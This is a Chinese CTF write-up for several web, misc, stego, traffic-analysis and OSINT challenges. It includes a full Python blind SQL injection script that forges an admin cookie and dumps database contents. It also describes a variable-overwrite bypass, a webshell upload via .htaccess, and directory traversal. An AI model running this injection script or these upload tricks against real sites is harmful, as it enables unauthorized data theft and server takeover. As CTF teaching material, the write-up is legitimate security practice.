ctrl+U查看前端源码,发现有个/register.html,先进入/register.html
随便注册一个帐号进去,登录发现我不是admin,查看cookie:
TOKEN=65794a3163325679626d46745a534936496d46685953497349434a306232746c62694936496a5133596d4e6c4e574d334e4759314f446c6d4e4467324e3252695a4455335a546c6a59546c6d4f44413449697767496d6c7a5832466b62576c75496a6f7766513d3d
扔到cyberchef直接出明文:
image.png
修改is_admin为1,base64和hex加密后得到的
65794a3163325679626d46745a534936496d46685953497349434a306232746c62694936496a5133596d4e6c4e574d334e4759314f446c6d4e4467324e3252695a4455335a546c6a59546c6d4f44413449697767496d6c7a5832466b62576c75496a6f7866513d3d
打入token,刷新页面。image.png
很明显的sql注入,注入点是用户名,不断修改账户名来尝试,在TOKEN里有一个小token,这里是md5加密后的username,所以写个脚本,这是加密函数:

1
2
3
4
5
6
7
8
def encode(payload):
payload0 = payload
md5pwd = hashlib.md5(payload0.encode()).hexdigest() #把payload md5加密
json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'

encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
hexadecimal_payload = encoded_payload.hex() #十六进制编码
return hexadecimal_payload

根据注入正确和失败的两个回显,尝试布尔盲注。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
import base64
import hashlib
import requests

def encode(payload):
payload0 = payload
md5pwd = hashlib.md5(payload0.encode()).hexdigest() #把payload md5加密
json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'

encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
hexadecimal_payload = encoded_payload.hex() #十六进制编码
return hexadecimal_payload

def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list # 返回字符列表


def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
payload = f"admin'/**/and/**/length(database())/**/like/**/{num}#"
db_payload = encode(payload)
cookies = {"TOKEN":db_payload}
r = requests.get(url=url,cookies=cookies)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1


def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
payload = f"admin'/**/and/**/(ascii(substr(database(),{i},1))/**/like/**/{ord(j)})#"
db_payload = encode(payload)
cookies = {"TOKEN": db_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name


def tb_piece(db_name):
global tb_piece
print("开始测试%s数据库有几张表........" % db_name)
for i in range(10): # 猜解库中有多少张表,合理范围即可
payload = f"admin'/**/and/**/{i}/**/like/**/(Select/**/Count(Table_name)/**/From/**/Information_schema.tables/**/Where/**/table_schema/**/like/**/'{db_name}')#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_piece = i
break
print(f"[+]{db_name}库一共有{tb_piece}张表\n")
tb_name(db_name, tb_piece) # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
payload = f"admin'/**/and/**/(Select/**/length(table_name)/**/from/**/Information_schema.tables/**/Where/**/table_schema/**/like/**/database()/**/limit/**/{i},1)/**/like/**/{j}#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
payload = f"admin'/**/and/**/(Select/**/ascii(substr((Select/**/table_name/**/from/**/Information_schema.tables/**/Where/**/table_schema/**/like/**/database()/**/limit/**/{i},1),{k},1)))/**/like/**/{ord(l)}#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(60): # 每张表的字段数量,合理范围即可
payload =f"admin'/**/and/**/{j}/**/like/**/(Select/**/count(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name/**/like/**/'{i}')#"
column_payload = encode(payload)
cookies = {"TOKEN": column_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
payload = f"admin'/**/and/**/{j-1}/**/like/**/(Select/**/length(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name/**/like/**/'{table_list[t]}'/**/limit/**/{i},1)#"
column_name_length = encode(payload)
cookies = {"TOKEN": column_name_length}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
payload = f"admin'/**/and/**/ascii(substr((Select/**/column_name/**/from/**/Information_schema.columns/**/Where/**/table_name/**/like/**/'{table_list[t]}'/**/limit/**/{i},1),{j},1))/**/like/**/{ord(k)}#"
column_payload = encode(payload)
cookies = {"TOKEN": column_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list,) # 进行最后一步,输出指定字段的数据


def dump_data(table_list,column_name_list,url,str):
print("[-]开始爆破字段内容:")
for l in range(1, 50): # l表示每条数据的长度,合理范围即可
for k in range(32,127):
payload = f"admin'/**/and/**/Ascii(Substr((Select/**/{column_name_list[0]}/**/from/**/{table_list[0]}/**/limit/**/0,1),{l},1))/**/like/**/{k}#"
data_len_payload = encode(payload)
cookies = {"TOKEN": data_len_payload}
r = requests.get(url=url, cookies=cookies)
if (str in r.text):
character = chr(k)
print(character,end="")
break



if __name__ == '__main__':
url = "http://127.0.0.1/home.php" # 目标url
str = "@q^4*!z8a9-%42z.s~"
#db_length(url,str)
# #下面是手动输入字段内容,不太优雅=-=
table_list = ['secret']
column_name_list = ['sseeccrreett']
dump_data(table_list,column_name_list,url,str)

Ezsignin

瞎bb:超级简单的签到,看到 wp 人快碎了,一半非预期(
先扫目录或者试试敏感文件泄露,找到 index.php.bak,源码就不放这了
看到这里
image.png
需要本地,但是上面是存在一个变量覆盖函数的,所以可以直接覆盖这个变量
image.png
传入?_SERVER[REMOTE_ADDR]=127.0.0.1即可进入文件上传的界面,这边因为我的 upload.php没有做相同的处理,导致可以直接利用表单给 upload.php上传文件,没办法,人太懒了(((
后面就是上传一个 webshell,会发现不解析 php 文件,是因为我在 upload 下放了个.htaccess,我认为这很安全,这样你们上传的 php 就不会被解析了[doge]
image.png
由于我没有对文件上传做任何限制,所以你可以上传一个.htaccess文件来打开 php 的解析引擎,这样你的 webshell 就可以正常解析了。
非预期做法:
image.png
真是漏网之鱼啊,这里的 username可控,一点过滤没写,导致可以目录穿越写到 html 下面,就不受upload下的.htaccess的限制了,果然懒狗开发确实该死(bushi

MISC

签到

将浅色背景切换为深色二维码就显现了,扫码就行了
image.png

神秘的文字

直接搜这段,是可以找到相关文章,但是复现发现是不行的
image.png
image.png
深入搜索可以找到Martin Kleppe项目,aem1k.com/transliterate.js,发现其实就是jsfuck的变种,理解了原理,找到缺少内容alert(‘’);拼成完整的密文就可以弹窗得到密钥了
image.png

DNA-5

image.png

1
2
3
4
5
6
7
8
9
10
ata = 
"ACCTAATACCATCAACTCCATAACTCCCCACCTAAATCCAATAACCACTAAATCCAATAACCACTACC
CCTCCATAAAAATAACCACTCATCCCCCTAATAAAATAAACCTCCCCCAC"
replacement_dict = {
'T': '/',
'A': '.',
'C': '-'
}
result = ''.join([replacement_dict.get(char, char) for char in data])
print(result)

image.png
image.png

AgedSLATE

image.png
相信那你在查看文档时也找到了名字好像很可疑,这就是第一段flag,对应的hint是:注意隐私保护,很多出题人出题时是没在意名字问题的等于自己把自己开了,本意是借此提醒
image.png
接着分析doc会发现大量的01,很明显可以猜测为文档隐藏了内容全选后换个字体颜色就行了,,这段01猜测为01 to img,写个脚本就可以了(帮你们试过了大部分的工具出来的都是重叠,还是老老实实写脚本吧。如果你觉得文本量大不好处理,那为什么不试试word的替换功能呢)
image.png
image.png
转成的图片再识图,可以找到海嗣文字,需要反着读镜像后对照即可。“?”为“_“最开始图片上有明确展示
image.png
拼接两段得到flag
Steal_Data
这个题其实就是一个自制的免杀马(但是其实什么也过不了)
然后回到题目本身
image.png
打开流量包,很多杂七杂八的包,看一下协议分级
可以看到有HTTP,那就看http
image.png
已经看到shell了,那就直接追踪http流
参数有一个show_source,猜测返回的代码是shell的源码,复制出来去前端看
image.png
很简单的逻辑,然后再解开请求包

1
echo openssl_decrypt('q0c8bvkt+9/LeMRp7RaaDA==' , "AES-128-ECB", 'd0c3a4017c22f6c3');

再一个个地解开,看它的结果
执行的命令

1
2
3
whoami 
dir
cd 51建模 && type Route.py

可以看到核心是后面的py
然后搜一下51建模B题
image.png
可以发现是一个求最短路径的题目,于是猜测给出的数组是路径图
用networkx库求最短路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
(101 ,82) ,(0 ,82) ,(82 ,125)
]
G = nx.Graph()
G.add_edges_from(lujin)
lst = list(nx.all_simple_paths(G ,source=102 ,target=125 ,cutoff=35))
min_len = min([len(i) for i in lst])
[[print(chr(x) ,end="") for x in i] for i in lst if len(i) == min_len]

flag{wish_DrAGonKNI9HtCXF-BET2eR}

func_Pixels
这个题目其实有一点点脑洞,给各位师傅道个歉,
描述中的(0,0)提出来转为ascii就是DRK,
但是后面那个hint给的其实很明显,应该都能想到就是green通道的位置是计数器的二次方,那么blue通道就是计数器的三次方,red通道就是计数器的一次方,看一下加密代码更清楚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def func_encode(img ,flag):
width, height = img.size
pixels = {}
for y in range(height):
for x in range(width):
pixels[(x ,y)] = img.getpixel((x ,y))
print(pixels[(0,0)])
for pos in range(0 ,int(len(flag)/3)):
r_pos = int(math.pow(pos ,1))
g_pos = int(math.pow(pos ,2))
b_pos = int(math.pow(pos ,3))

pixels[(pos ,r_pos)] = (ord(flag[pos*3]) ,pixels[(pos ,r_pos)][1] ,pixels[(pos ,r_pos)][2])
pixels[(pos ,g_pos)] = (pixels[(pos ,r_pos)][0] ,ord(flag[pos*3+1]) ,pixels[(pos ,r_pos)][2])
pixels[(pos ,b_pos)] = (pixels[(pos ,r_pos)][0] ,pixels[(pos ,r_pos)][1] ,ord(flag[pos*3+2]))

for key ,value in pixels.items():
img.putpixel(key ,value)
img.save("./LEIMU_encoded.png")

根据加密函数写一下就完事

1
2
3
4
5
6
7
8
9
10
11
12
def func_decode(img):
width ,height = img.size
for pos in range(0 ,10):
r_pos = int(math.pow(pos ,1))
g_pos = int(math.pow(pos ,2))
b_pos = int(math.pow(pos ,3))

r = img.getpixel((pos ,r_pos))[0]
g = img.getpixel((pos ,g_pos))[1]
b = img.getpixel((pos ,b_pos))[2]

print(f"{chr(r)}{chr(g)}{chr(b)}" ,end="")

有一点脑洞,给各位👴跪了

Osint

给大家道个歉吧,这题本来是不好做的,某些原因导致可以直接识图找到了
Ai 识别发现并不在国内,在美国
image.png
搜索美国标志性摩天轮一个个排查就可以找到了,因为角度比较刁钻看不到海岸线的特征会 有很多的误导项,找到最著名的几个可以佛罗里达州,直接搜佛罗里达州摩天轮就行了
image.png
image.png
朋友卡的非常好,但凡漏出红色缆车都会被秒
image.png